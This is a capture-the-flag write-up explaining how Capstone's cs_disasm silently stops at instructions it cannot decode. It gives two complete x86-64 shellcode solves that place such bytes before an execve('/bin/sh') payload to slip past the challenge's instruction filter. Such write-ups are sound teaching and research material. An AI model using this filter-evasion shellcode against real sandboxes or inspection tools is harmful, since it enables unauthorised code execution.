#
code-cruncherThe actual specifics of the challenge do not really matter, I just want to discuss an unintended I found to solve both shellcoding challenges.
The challenge author (LMS) made the assumption that cs_disasm
returns NULL
if it fails to disassemble the provided bytes (e.g. it returns NULL
when it encounters an invalid instruction). However this is not the case :D. The return value of cs_disasm
, by default is the number of instructions it was able to successfully disassemble. Capstone does not actually care about invalid instructions and instead of returning an error simply stops disassembling once it reaches them.
We can exploit this by sending shellcode to the effect of:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
bits 64
default rel
global _start
_start:
vzeroupper
; capstone does not know this instruction exists
; and believes it is invalid, however on real hardware
; rdsspq is effectively a nop
rdsspq rax
next:
mov eax, 0x3b
lea rdi, [shell]
xor esi, esi
xor edx, edx
syscall
shell: db "/bin/sh", 0
The solve for shellwiz is slightly different but also abuses invalid instructions to bypass the challenge restrictions:
1 2 3 4 5 6 7 8 9 10 11 12
;;; solve for shellwiz
jmp payload
invalid:
; invalid instruction in 64 bit mode
db 0x06
payload:
mov eax, 0x3b
lea rdi, [shell]
xor esi, esi
xor edx, edx
syscall
shell: db "/bin/sh", 0